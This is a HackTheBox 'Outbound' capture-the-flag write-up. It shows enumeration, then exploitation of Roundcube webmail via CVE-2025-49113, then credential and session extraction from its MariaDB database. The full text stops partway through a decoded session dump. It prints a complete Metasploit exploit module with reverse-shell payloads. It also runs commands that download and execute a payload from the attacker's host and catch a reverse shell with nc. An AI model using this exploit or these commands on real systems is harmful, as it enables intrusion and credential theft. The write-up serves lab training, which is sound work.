HackTheBox Outbound Writeup
Nmap Enumeration
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
# Nmap 7.95 scan initiated Thu Oct 23 13:48:53 2025 as: /usr/lib/nmap/nmap -sC -sV -vv -oN nmap 10.129.83.77
Nmap scan report for 10.129.83.77
Host is up, received echo-reply ttl 63 (0.068s latency).
Scanned at 2025-10-23 13:48:54 CST for 10s
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 9.6p1 Ubuntu 3ubuntu13.12 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 0c:4b:d2:76:ab:10:06:92:05:dc:f7:55:94:7f:18:df (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBN9Ju3bTZsFozwXY1B2KIlEY4BA+RcNM57w4C5EjOw1QegUUyCJoO4TVOKfzy/9kd3WrPEj/FYKT2agja9/PM44=
| 256 2d:6d:4a:4c:ee:2e:11:b6:c8:90:e6:83:e9:df:38:b0 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIH9qI0OvMyp03dAGXR0UPdxw7hjSwMR773Yb9Sne+7vD
80/tcp open http syn-ack ttl 63 nginx 1.24.0 (Ubuntu)
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.24.0 (Ubuntu)
|_http-title: Did not follow redirect to http://mail.outbound.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Read data files from: /usr/share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Oct 23 13:49:04 2025 -- 1 IP address (1 host up) scanned in 10.30 seconds
Open Services:
- ssh -> TCP / 22
- http -> TCP / 80
SSH Port 22
Since we obtain the breach account, we can try to login into the server with ssh:
1
2
3
4
5
6
7
8
9
10
11
12
13
┌──(parallels㉿kali-linux-2025-2)-[~/hackthebox/Outbound]
└─$ ssh tyler@outbound.htb
The authenticity of host 'outbound.htb (10.129.83.77)' can't be established.
ED25519 key fingerprint is SHA256:OZNUeTZ9jastNKKQ1tFXatbeOZzSFg5Dt7nhwhjorR0.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'outbound.htb' (ED25519) to the list of known hosts.
tyler@outbound.htb's password:
Permission denied, please try again.
tyler@outbound.htb's password:
Permission denied, please try again.
tyler@outbound.htb's password:
tyler@outbound.htb: Permission denied (publickey,password).
Failed… Seems like we have to find another way to login.
HTTP Port 80
1
2
3
4
5
6
80/tcp open http syn-ack ttl 63 nginx 1.24.0 (Ubuntu)
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.24.0 (Ubuntu)
|_http-title: Did not follow redirect to http://mail.outbound.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
From the nmap output we knows that it will redirect us to http://mail.outbound.htb, where the domain name is outbound.htb. Let’s try to add these known domain and subdomain into our /etc/hosts and view the webpage
It is roundcube webmail. We can try the credentials provided from the problem:
Good! We successfully login! However, we dont’ see any mail within the mail account.
We can check the webmail version and installed plugin in About section:
Identifying Vulnerabilities
By using searchsploit to search the vulnerabilities of current version of roundcube webmail:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
┌──(parallels㉿kali-linux-2025-2)-[~/hackthebox/Outbound]
└─$ searchsploit "roundcube"
---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Roundcube 1.2.2 - Remote Code Execution | php/webapps/40892.txt
Roundcube 1.6.10 - Remote Code Execution (RCE) | multiple/webapps/52324.NA
Roundcube rcfilters plugin 2.1.6 - Cross-Site Scripting | linux/webapps/45437.txt
Roundcube Webmail - Multiple Vulnerabilities | php/webapps/11036.txt
Roundcube Webmail 0.1 - 'index.php' Cross-Site Scripting | php/webapps/28988.txt
Roundcube Webmail 0.1 - CSS Expression Input Validation | php/webapps/30877.txt
Roundcube Webmail 0.2 - Cross-Site Scripting | php/webapps/33473.txt
Roundcube Webmail 0.2-3 Beta - Code Execution | php/webapps/7549.txt
Roundcube Webmail 0.2b - Remote Code Execution | php/webapps/7553.sh
Roundcube Webmail 0.3.1 - Cross-Site Request Forgery / SQL Injection | php/webapps/17957.txt
Roundcube Webmail 0.8.0 - Persistent Cross-Site Scripting | php/webapps/20549.py
Roundcube Webmail 1.1.3 - Directory Traversal | php/webapps/39245.txt
Roundcube Webmail 1.2 - File Disclosure | php/webapps/49510.py
Roundcube Webmail 1.6.6 - Stored Cross Site Scripting (XSS) | php/webapps/52173.txt
---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
Found that the second results, Roundcube 1.6.10 - Remote Code Execution (RCE) seems most interesting in this case. To download and view the exploit:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
┌──(parallels㉿kali-linux-2025-2)-[~/hackthebox/Outbound]
└─$ searchsploit -m 52324
Exploit: Roundcube 1.6.10 - Remote Code Execution (RCE)
URL: https://www.exploit-db.com/exploits/52324
Path: /usr/share/exploitdb/exploits/multiple/webapps/52324.NA
Codes: CVE-2025-49113
Verified: False
File Type: Ruby script, Unicode text, UTF-8 text
Copied to: /home/parallels/hackthebox/Outbound/52324.NA
┌──(parallels㉿kali-linux-2025-2)-[~/hackthebox/Outbound]
└─$ ls
52324.NA creds.txt nmap
┌──(parallels㉿kali-linux-2025-2)-[~/hackthebox/Outbound]
└─$ cat 52324.NA
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper
include Msf::Exploit::CmdStager
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Roundcube ≤ 1.6.10 Post-Auth RCE via PHP Object Deserialization',
'Description' => %q{
Roundcube Webmail before 1.5.10 and 1.6.x before 1.6.11 allows remote code execution
by authenticated users because the _from parameter in a URL is not validated
in program/actions/settings/upload.php, leading to PHP Object Deserialization.
An attacker can execute arbitrary system commands as the web server.
},
'Author' => [
'Maksim Rogov', # msf module
'Kirill Firsov', # disclosure and original exploit
],
'License' => MSF_LICENSE,
'References' => [
['CVE', '2025-49113'],
['URL', 'https://fearsoff.org/research/roundcube']
],
'DisclosureDate' => '2025-06-02',
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [IOC_IN_LOGS],
'Reliability' => [REPEATABLE_SESSION]
},
'Platform' => ['unix', 'linux'],
'Targets' => [
[
'Linux Dropper',
{
'Platform' => 'linux',
'Arch' => [ARCH_X64, ARCH_X86, ARCH_ARMLE, ARCH_AARCH64],
'Type' => :linux_dropper,
'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' }
}
],
[
'Linux Command',
{
'Platform' => ['unix', 'linux'],
'Arch' => [ARCH_CMD],
'Type' => :nix_cmd,
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' }
}
]
],
'DefaultTarget' => 0
)
)
register_options(
[
OptString.new('USERNAME', [true, 'Email User to login with', '' ]),
OptString.new('PASSWORD', [true, 'Password to login with', '' ]),
OptString.new('TARGETURI', [true, 'The URI of the Roundcube Application', '/' ]),
OptString.new('HOST', [false, 'The hostname of Roundcube server', ''])
]
)
end
class PhpPayloadBuilder
def initialize(command)
@encoded = Rex::Text.encode_base32(command)
@gpgconf = %(echo "#{@encoded}"|base32 -d|sh &#)
end
def build
len = @gpgconf.bytesize
%(|O:16:"Crypt_GPG_Engine":3:{s:8:"_process";b:0;s:8:"_gpgconf";s:#{len}:"#{@gpgconf}";s:8:"_homedir";s:0:"";};)
end
end
def fetch_login_page
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path),
'method' => 'GET',
'keep_cookies' => true,
'vars_get' => { '_task' => 'login' }
)
fail_with(Failure::Unreachable, "#{peer} - No response from web service") unless res
fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected HTTP code #{res.code}") unless res.code == 200
res
end
def check
res = fetch_login_page
unless res.body =~ /"rcversion"\s*:\s*(\d+)/
fail_with(Failure::UnexpectedReply, "#{peer} - Unable to extract version number")
end
version = Rex::Version.new(Regexp.last_match(1).to_s)
print_good("Extracted version: #{version}")
if version.between?(Rex::Version.new(10100), Rex::Version.new(10509))
return CheckCode::Appears
elsif version.between?(Rex::Version.new(10600), Rex::Version.new(10610))
return CheckCode::Appears
end
CheckCode::Safe
end
def build_serialized_payload
print_status('Preparing payload...')
stager = case target['Type']
when :nix_cmd
payload.encoded
when :linux_dropper
generate_cmdstager.join(';')
else
fail_with(Failure::BadConfig, 'Unsupported target type')
end
serialized = PhpPayloadBuilder.new(stager).build.gsub('"', '\\"')
print_good('Payload successfully generated and serialized.')
serialized
end
def exploit
token = fetch_csrf_token
login(token)
payload_serialized = build_serialized_payload
upload_payload(payload_serialized)
end
def fetch_csrf_token
print_status('Fetching CSRF token...')
res = fetch_login_page
html = res.get_html_document
token_input = html.at('input[name="_token"]')
unless token_input
fail_with(Failure::UnexpectedReply, "#{peer} - Unable to extract CSRF token")
end
token = token_input.attributes.fetch('value', nil)
if token.blank?
fail_with(Failure::UnexpectedReply, "#{peer} - CSRF token is empty")
end
print_good("Extracted token: #{token}")
token
end
def login(token)
print_status('Attempting login...')
vars_post = {
'_token' => token,
'_task' => 'login',
'_action' => 'login',
'_url' => '_task=login',
'_user' => datastore['USERNAME'],
'_pass' => datastore['PASSWORD']
}
vars_post['_host'] = datastore['HOST'] if datastore['HOST']
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path),
'method' => 'POST',
'keep_cookies' => true,
'vars_post' => vars_post,
'vars_get' => { '_task' => 'login' }
)
fail_with(Failure::Unreachable, "#{peer} - No response during login") unless res
fail_with(Failure::UnexpectedReply, "#{peer} - Login failed (code #{res.code})") unless res.code == 302
print_good('Login successful.')
end
def generate_from
options = [
'compose',
'reply',
'import',
'settings',
'folders',
'identity'
]
options.sample
end
def generate_id
random_data = SecureRandom.random_bytes(8)
timestamp = Time.now.to_f.to_s
Digest::MD5.hexdigest(random_data + timestamp)
end
def generate_uploadid
millis = (Time.now.to_f * 1000).to_i
"upload#{millis}"
end
def upload_payload(payload_filename)
print_status('Uploading malicious payload...')
# 1x1 transparent pixel image
png_data = Rex::Text.decode_base64('iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAACklEQVR4nGMAAQAABQABDQottAAAAABJRU5ErkJggg==')
boundary = Rex::Text.rand_text_alphanumeric(8)
data = ''
data << "--#{boundary}\r\n"
data << "Content-Disposition: form-data; name=\"_file[]\"; filename=\"#{payload_filename}\"\r\n"
data << "Content-Type: image/png\r\n\r\n"
data << png_data
data << "\r\n--#{boundary}--\r\n"
send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, "?_task=settings&_remote=1&_from=edit-!#{generate_from}&_id=#{generate_id}&_uploadid=#{generate_uploadid}&_action=upload"),
'ctype' => "multipart/form-data; boundary=#{boundary}",
'data' => data
})
print_good('Exploit attempt complete. Check for session.')
end
end
We also can view the exploit details at https://www.offsec.com/blog/cve-2025-49113/
RoundCube webmail RCE
According to the search result of CVE-2025-49113, we found the exploit script written by author: https://github.com/fearsoff-org/CVE-2025-49113/blob/main/CVE-2025-49113.php
We can run the exploit script to test:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
┌──(parallels㉿kali-linux-2025-2)-[~/hackthebox/Outbound]
└─$ php CVE-2025-49113.php http://mail.outbound.htb tyler LhKL1o9Nm3X2 "wget 10.10.16.13/evil -O /tmp/evil"
### Roundcube ≤ 1.6.10 Post-Auth RCE via PHP Object Deserialization [CVE-2025-49113]
### Retrieving CSRF token and session cookie...
### Authenticating user: tyler
### Authentication successful
### Command to be executed:
wget 10.10.16.13/evil -O /tmp/evil
### Injecting payload...
### End payload: http://mail.outbound.htb/?_from=edit-%21%C0%22%C0%3B%C0i%C0%3A%C00%C0%3B%C0O%C0%3A%C01%C06%C0%3A%C0%22%C0C%C0r%C0y%C0p%C0t%C0_%C0G%C0P%C0G%C0_%C0E%C0n%C0g%C0i%C0n%C0e%C0%22%C0%3A%C01%C0%3A%C0%7B%C0S%C0%3A%C02%C06%C0%3A%C0%22%C0%5C%C00%C00%C0C%C0r%C0y%C0p%C0t%C0_%C0G%C0P%C0G%C0_%C0E%C0n%C0g%C0i%C0n%C0e%C0%5C%C00%C00%C0_%C0g%C0p%C0g%C0c%C0o%C0n%C0f%C0%22%C0%3B%C0S%C0%3A%C03%C06%C0%3A%C0%22%C0w%C0g%C0e%C0t%C0+%C01%C00%C0%5C%C02%C0e%C01%C00%C0%5C%C02%C0e%C01%C06%C0%5C%C02%C0e%C01%C03%C0%2F%C0e%C0v%C0i%C0l%C0+%C0-%C0O%C0+%C0%2F%C0t%C0m%C0p%C0%2F%C0e%C0v%C0i%C0l%C0%3B%C0%23%C0%22%C0%3B%C0%7D%C0i%C0%3A%C00%C0%3B%C0b%C0%3A%C00%C0%3B%C0%7D%C0%22%C0%3B%C0%7D%C0%7D%C0&_task=settings&_framed=1&_remote=1&_id=1&_uploadid=1&_unlock=1&_action=upload
### Payload injected successfully
### Executing payload...
### Exploit executed successfully
And check in our side:
1
2
3
4
┌──(parallels㉿kali-linux-2025-2)-[~/hackthebox/Outbound]
└─$ python -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.129.83.77 - - [23/Oct/2025 14:09:50] "GET /evil HTTP/1.1" 200 -
good! the script is working! Let’s try to obtain shell access to machine:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
┌──(parallels㉿kali-linux-2025-2)-[~/hackthebox/Outbound]
└─$ php CVE-2025-49113.php http://mail.outbound.htb tyler LhKL1o9Nm3X2 "chmod 777 /tmp/evil"
### Roundcube ≤ 1.6.10 Post-Auth RCE via PHP Object Deserialization [CVE-2025-49113]
### Retrieving CSRF token and session cookie...
### Authenticating user: tyler
### Authentication successful
### Command to be executed:
chmod 777 /tmp/evil
### Injecting payload...
### End payload: http://mail.outbound.htb/?_from=edit-%21%C8%22%C8%3B%C8i%C8%3A%C80%C8%3B%C8O%C8%3A%C81%C86%C8%3A%C8%22%C8C%C8r%C8y%C8p%C8t%C8_%C8G%C8P%C8G%C8_%C8E%C8n%C8g%C8i%C8n%C8e%C8%22%C8%3A%C81%C8%3A%C8%7B%C8S%C8%3A%C82%C86%C8%3A%C8%22%C8%5C%C80%C80%C8C%C8r%C8y%C8p%C8t%C8_%C8G%C8P%C8G%C8_%C8E%C8n%C8g%C8i%C8n%C8e%C8%5C%C80%C80%C8_%C8g%C8p%C8g%C8c%C8o%C8n%C8f%C8%22%C8%3B%C8S%C8%3A%C82%C81%C8%3A%C8%22%C8c%C8h%C8m%C8o%C8d%C8+%C87%C87%C87%C8+%C8%2F%C8t%C8m%C8p%C8%2F%C8e%C8v%C8i%C8l%C8%3B%C8%23%C8%22%C8%3B%C8%7D%C8i%C8%3A%C80%C8%3B%C8b%C8%3A%C80%C8%3B%C8%7D%C8%22%C8%3B%C8%7D%C8%7D%C8&_task=settings&_framed=1&_remote=1&_id=1&_uploadid=1&_unlock=1&_action=upload
### Payload injected successfully
### Executing payload...
### Exploit executed successfully
┌──(parallels㉿kali-linux-2025-2)-[~/hackthebox/Outbound]
└─$ php CVE-2025-49113.php http://mail.outbound.htb tyler LhKL1o9Nm3X2 "/tmp/evil"
### Roundcube ≤ 1.6.10 Post-Auth RCE via PHP Object Deserialization [CVE-2025-49113]
### Retrieving CSRF token and session cookie...
### Authenticating user: tyler
### Authentication successful
### Command to be executed:
/tmp/evil
### Injecting payload...
### End payload: http://mail.outbound.htb/?_from=edit-%21%C1%22%C1%3B%C1i%C1%3A%C10%C1%3B%C1O%C1%3A%C11%C16%C1%3A%C1%22%C1C%C1r%C1y%C1p%C1t%C1_%C1G%C1P%C1G%C1_%C1E%C1n%C1g%C1i%C1n%C1e%C1%22%C1%3A%C11%C1%3A%C1%7B%C1S%C1%3A%C12%C16%C1%3A%C1%22%C1%5C%C10%C10%C1C%C1r%C1y%C1p%C1t%C1_%C1G%C1P%C1G%C1_%C1E%C1n%C1g%C1i%C1n%C1e%C1%5C%C10%C10%C1_%C1g%C1p%C1g%C1c%C1o%C1n%C1f%C1%22%C1%3B%C1S%C1%3A%C11%C11%C1%3A%C1%22%C1%2F%C1t%C1m%C1p%C1%2F%C1e%C1v%C1i%C1l%C1%3B%C1%23%C1%22%C1%3B%C1%7D%C1i%C1%3A%C10%C1%3B%C1b%C1%3A%C10%C1%3B%C1%7D%C1%22%C1%3B%C1%7D%C1%7D%C1&_task=settings&_framed=1&_remote=1&_id=1&_uploadid=1&_unlock=1&_action=upload
### Payload injected successfully
### Executing payload...
1
2
3
4
5
6
7
8
9
10
11
12
13
┌──(parallels㉿kali-linux-2025-2)-[~/hackthebox/Outbound]
└─$ nc -lvnp 443
listening on [any] 443 ...
connect to [10.10.16.13] from (UNKNOWN) [10.129.83.77] 50860
ls
index.html
index.php
plugins
program
roundcube
skins
whoami
www-data
Lateral Movement (Jacob)
1
2
3
4
5
6
7
8
www-data@mail:/var/www/html/roundcube/public_html$ ls -la /home
total 32
drwxr-xr-x 1 root root 4096 Jun 8 12:05 .
drwxr-xr-x 1 root root 4096 Jul 9 12:41 ..
drwxr-x--- 1 jacob jacob 4096 Jun 7 13:55 jacob
drwxr-x--- 1 mel mel 4096 Jun 8 12:06 mel
drwxr-x--- 1 tyler tyler 4096 Jun 8 13:28 tyler
www-data@mail:/var/www/html/roundcube/public_html$
We found bunch of user under the /home directories. Luckily, there is a breach account tyler exists, we can try to use su to login:
1
2
3
www-data@mail:/var/www/html/roundcube/public_html$ su tyler
Password:
tyler@mail:/var/www/html/roundcube/public_html$
Good! However, there is no user.txt inside the tyler home directories, this implies that we might need to do another lateral movement to either jacob or mel.
Database Extract
The first interesting element to discover is the database used by roundcube, we can go /var/www/html/roundcube/public_html/roundcube/config and check what’s configuration of the roundcube webmail:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
<?php
/*
+-----------------------------------------------------------------------+
| Local configuration for the Roundcube Webmail installation. |
| |
| This is a sample configuration file only containing the minimum |
| setup required for a functional installation. Copy more options |
| from defaults.inc.php to this file to override the defaults. |
| |
| This file is part of the Roundcube Webmail client |
| Copyright (C) The Roundcube Dev Team |
| |
| Licensed under the GNU General Public License version 3 or |
| any later version with exceptions for skins & plugins. |
| See the README file for a full license statement. |
+-----------------------------------------------------------------------+
*/
$config = [];
// Database connection string (DSN) for read+write operations
// Format (compatible with PEAR MDB2): db_provider://user:password@host/database
// Currently supported db_providers: mysql, pgsql, sqlite, mssql, sqlsrv, oracle
// For examples see http://pear.php.net/manual/en/package.database.mdb2.intro-dsn.php
// NOTE: for SQLite use absolute path (Linux): 'sqlite:////full/path/to/sqlite.db?mode=0646'
// or (Windows): 'sqlite:///C:/full/path/to/sqlite.db'
$config['db_dsnw'] = 'mysql://roundcube:RCDBPass2025@localhost/roundcube';
// IMAP host chosen to perform the log-in.
// See defaults.inc.php for the option description.
$config['imap_host'] = 'localhost:143';
// SMTP server host (for sending mails).
// See defaults.inc.php for the option description.
$config['smtp_host'] = 'localhost:587';
// SMTP username (if required) if you use %u as the username Roundcube
// will use the current username for login
$config['smtp_user'] = '%u';
// SMTP password (if required) if you use %p as the password Roundcube
// will use the current user's password for login
$config['smtp_pass'] = '%p';
// provide an URL where a user can get support for this Roundcube installation
// PLEASE DO NOT LINK TO THE ROUNDCUBE.NET WEBSITE HERE!
$config['support_url'] = '';
// Name your service. This is displayed on the login screen and in the window title
$config['product_name'] = 'Roundcube Webmail';
// This key is used to encrypt the users imap password which is stored
// in the session record. For the default cipher method it must be
// exactly 24 characters long.
// YOUR KEY MUST BE DIFFERENT THAN THE SAMPLE VALUE FOR SECURITY REASONS
$config['des_key'] = 'rcmail-!24ByteDESkey*Str';
// List of active plugins (in plugins/ directory)
$config['plugins'] = [
'archive',
'zipdownload',
'zipdownload',
];
// skin name: folder from skins/
$config['skin'] = 'elastic';
$config['default_host'] = 'localhost';
$config['smtp_server'] = 'localhost';
we found a credentials roundcube:RCDBPass2025 of the mysql, let’s try to login into mysql:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
ndcube -pmail:/var/www/html/roundcube/public_html/roundcube/config$ mysql -u rou
Enter password:
Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MariaDB connection id is 150
Server version: 10.11.13-MariaDB-0ubuntu0.24.04.1 Ubuntu 24.04
Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
MariaDB [(none)]> show databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| roundcube |
+--------------------+
2 rows in set (0.001 sec)
MariaDB [(none)]> use roundcube;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changed
MariaDB [roundcube]> show tables;
+---------------------+
| Tables_in_roundcube |
+---------------------+
| cache |
| cache_index |
| cache_messages |
| cache_shared |
| cache_thread |
| collected_addresses |
| contactgroupmembers |
| contactgroups |
| contacts |
| dictionary |
| filestore |
| identities |
| responses |
| searches |
| session |
| system |
| users |
+---------------------+
17 rows in set (0.001 sec)
MariaDB [roundcube]> select * from users;
+---------+----------+-----------+---------------------+---------------------+---------------------+----------------------+----------+-----------------------------------------------------------+
| user_id | username | mail_host | created | last_login | failed_login | failed_login_counter | language | preferences |
+---------+----------+-----------+---------------------+---------------------+---------------------+----------------------+----------+-----------------------------------------------------------+
| 1 | jacob | localhost | 2025-06-07 13:55:18 | 2025-06-11 07:52:49 | 2025-06-11 07:51:32 | 1 | en_US | a:1:{s:11:"client_hash";s:16:"hpLLqLwmqbyihpi7";} |
| 2 | mel | localhost | 2025-06-08 12:04:51 | 2025-06-08 13:29:05 | NULL | NULL | en_US | a:1:{s:11:"client_hash";s:16:"GCrPGMkZvbsnc3xv";} |
| 3 | tyler | localhost | 2025-06-08 13:28:55 | 2025-10-23 06:10:08 | 2025-06-11 07:51:22 | 1 | en_US | a:2:{s:11:"client_hash";s:16:"1rurc8235ySiEPNX";i:0;b:0;} |
+---------+----------+-----------+---------------------+---------------------+---------------------+----------------------+----------+-----------------------------------------------------------+
3 rows in set (0.000 sec)
MariaDB [roundcube]>
But the client_hash is not the hash password… After some research, knowing that roundcube doesn’t store the password directly in default configuration, it will ask IMAP Server to verify the password hash. But, after IMAP server identify the validness of the user, it stored the encrypted password inside the session values, which we can found at
1
MariaDB [roundcube]> select * from session;
We copy the vars and try to base64 decode, we will find something interesting:
1
2
3
┌──(parallels㉿kali-linux-2025-2)-[~/hackthebox/Outbound]
└─$ echo 'bGFuZ3VhZ2V8czo1OiJlbl9VUyI7aW1hcF9uYW1lc3BhY2V8YTo0OntzOjg6InBlcnNvbmFsIjthOjE6e2k6MDthOjI6e2k6MDtzOjA6IiI7aToxO3M6MToiLyI7fX1zOjU6Im90aGVyIjtOO3M6Njoic2hhcmVkIjtOO3M6MTA6InByZWZpeF9vdXQiO3M6MDoiIjt9aW1hcF9kZWxpbWl0ZXJ8czoxOiIvIjtpbWFwX2xpc3RfY29uZnxhOjI6e2k6MDtOO2k6MTthOjA6e319dXNlcl9pZHxpOjE7dXNlcm5hbWV8czo1OiJqYWNvYiI7c3RvcmFnZV9ob3N0fHM6OToibG9jYWxob3N0IjtzdG9yYWdlX3BvcnR8aToxNDM7c3RvcmFnZV9zc2x8YjowO3Bhc3N3b3JkfHM6MzI6Ikw3UnYwMEE4VHV3SkFyNjdrSVR4eGNTZ25JazI1QW0vIjtsb2dpbl90aW1lfGk6MTc0OTM5NzExOTt0aW1lem9uZXxzOjEzOiJFdXJvcGUvTG9uZG9uIjtTVE9SQUdFX1NQRUNJQUwtVVNFfGI6MTthdXRoX3NlY3JldHxzOjI2OiJEcFlxdjZtYUk5SHhETDVHaGNDZDhKYVFRVyI7cmVxdWVzdF90b2tlbnxzOjMyOiJUSXNPYUFCQTF6SFNYWk9CcEg2dXA1WEZ5YXlOUkhhdyI7dGFza3xzOjQ6Im1haWwiO3NraW5fY29uZmlnfGE6Nzp7czoxNzoic3VwcG9ydGVkX2xheW91dHMiO2E6MTp7aTowO3M6MTA6IndpZGVzY3JlZW4iO31zOjIyOiJqcXVlcnlfdWlfY29sb3JzX3RoZW1lIjtzOjk6ImJvb3RzdHJhcCI7czoxODoiZW1iZWRfY3NzX2xvY2F0aW9uIjtzOjE3OiIvc3R5bGVzL2VtYmVkLmNzcyI7czoxOToiZWRpdG9yX2Nzc19sb2NhdGlvbiI7czoxNzoiL3N0eWxlcy9lbWJlZC5jc3MiO3M6MTc6ImRhcmtfbW9kZV9zdXBwb3J0IjtiOjE7czoyNjoibWVkaWFfYnJvd3Nlcl9jc3NfbG9jYXRpb24iO3M6NDoibm9uZSI7czoyMToiYWRkaXRpb25hbF9sb2dvX3R5cGVzIjthOjM6e2k6MDtzOjQ6ImRhcmsiO2k6MTtzOjU6InNtYWxsIjtpOjI7czoxMDoic21hbGwtZGFyayI7fX1pbWFwX2hvc3R8czo5OiJsb2NhbGhvc3QiO3BhZ2V8aToxO21ib3h8czo1OiJJTkJPWCI7c29ydF9jb2x8czowOiIiO3NvcnRfb3JkZXJ8czo0OiJERVNDIjtTVE9SQUdFX1RIUkVBRHxhOjM6e2k6MDtzOjEwOiJSRUZFUkVOQ0VTIjtpOjE7czo0OiJSRUZTIjtpOjI7czoxNDoiT1JERVJFRFNVQkpFQ1QiO31TVE9SQUdFX1FVT1RBfGI6MDtTVE9SQUdFX0xJU1QtRVhURU5ERUR8YjoxO2xpc3RfYXR0cmlifGE6Njp7czo0OiJuYW1lIjtzOjg6Im1lc3NhZ2VzIjtzOjI6ImlkIjtzOjExOiJtZXNzYWdlbGlzdCI7czo1OiJjbGFzcyI7czo0MjoibGlzdGluZyBtZXNzYWdlbGlzdCBzb3J0aGVhZGVyIGZpeGVkaGVhZGVyIjtzOjE1OiJhcmlhLWxhYmVsbGVkYnkiO3M6MjI6ImFyaWEtbGFiZWwtbWVzc2FnZWxpc3QiO3M6OToiZGF0YS1saXN0IjtzOjEyOiJtZXNzYWdlX2xpc3QiO3M6MTQ6ImRhdGEtbGFiZWwtbXNnIjtzOjE4OiJUaGUgbGlzdCBpcyBlbXB0eS4iO311bnNlZW5fY291bnR8YToyOntzOjU6IklOQk9YIjtpOjI7czo1OiJUcmFzaCI7aTowO31mb2xkZXJzfGE6MTp7czo1OiJJTkJPWCI7YToyOntzOjM6ImNudCI7aToyO3M6NjoibWF4dWlkIjtpOjM7fX1saXN0X21vZF9zZXF8czoyOiIxMCI7' | base64 -d
language|s:5:"en_US";imap_namespace|a:4:{s:8:"personal";a:1:{i:0;a:2:{i:0;s:0:"";i:1;s:1:"/";}}s:5:"other";N;s:6:"shared";N;s:10:"prefix_out";s:0:"";}imap_delimiter|s:1:"/";imap_list_conf|a:2:{i:0;N;i:1;a:0:{}}user_id|i:1;username|s:5:"jacob";storage_host|s:9:"localhost";storage_port|i:143;storage_ssl|b:0;password|s:32:"L7Rv00A8TuwJAr67kITxxcSgnIk25Am/";login_time|i:1749397119;timezone|s:13:"Europe/London";STORAGE_SPECIAL-USE|b:1;auth_secret|s:26:"DpYqv6maI9HxDL5GhcCd8JaQQW";request_token|s:32:"TIsOaABA1zHSXZOBpH6up5XFyayNRHaw";task|s:4:"mail";skin_config|a:7:{s:17:"supported_layouts";a:1:{i:0;s:10:"widescreen";}s:22:"jquery_ui_colors_theme";s:9:"bootstrap";s:18:"embed_css_location";s:17:"/styles/embed.css";s:19:"editor_css_location";s:17:"/styles/embed.css";s:17:"dark_mode_support";b:1;s:26:"media_browser_css_location";s:4:"none";s:21:"additional_logo_types";a:3:{i:0;s:4:"dark";i:1;s:5:"small";i:2;s:10:"small-dark";}}imap_h